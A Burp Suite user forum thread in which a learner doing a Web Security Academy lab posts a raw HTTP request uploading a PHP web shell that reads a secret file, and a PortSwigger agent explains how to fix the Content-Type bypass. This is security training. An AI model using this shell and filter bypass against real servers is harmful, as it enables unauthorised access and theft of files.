Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Missing parameter 'csrf' as response to my request to upload php file

Raghuveer | Last updated: Sep 09, 2023 07:04PM UTC

Hi Team, I am trying to solve lab "Web shell upload via Content-Type restriction bypass" I am facing an issue. I am changing the content type to "images/jpeg" and then sending the request to get my php exploit file uploaded but I am seeing 400 bad request with message (Missing parameter 'csrf') Request: POST /my-account/avatar HTTP/2 Host: 0a57005404b8e8a781483042005900bd.web-security-academy.net Cookie: session=p4PrlveuyPUEoAn5Kz7cEjU5QDKC7uH0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: images/jpeg; boundary=---------------------------22869937191357099563482819783 Content-Length: 548 Origin: https://0a57005404b8e8a781483042005900bd.web-security-academy.net Referer: https://0a57005404b8e8a781483042005900bd.web-security-academy.net/my-account Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers -----------------------------22869937191357099563482819783 Content-Disposition: form-data; name="avatar"; filename="exploit.php" Content-Type: application/octet-stream <?php echo file_get_contents('/home/carlos/secret'); ?> -----------------------------22869937191357099563482819783 Content-Disposition: form-data; name="user" wiener -----------------------------22869937191357099563482819783 Content-Disposition: form-data; name="csrf" r5p6ddAhxIgzB7TRb4D3RPLmQYCmiQ9w -----------------------------22869937191357099563482819783-- Response: HTTP/2 400 Bad Request Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 26 "Missing parameter 'csrf'"

Ben, PortSwigger Agent | Last updated: Sep 11, 2023 11:26AM UTC

Hi Raghuveer, A couple of things here. Firstly, the correct Content-Type is actually image/jpeg (without the 's' on image). Secondly, you want to be changing the Content-Type in the request body (under the WebKitFormBoundary).

Andrew | Last updated: Sep 28, 2024 11:27PM UTC

Thanks, I had the same question. This helped a lot!

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.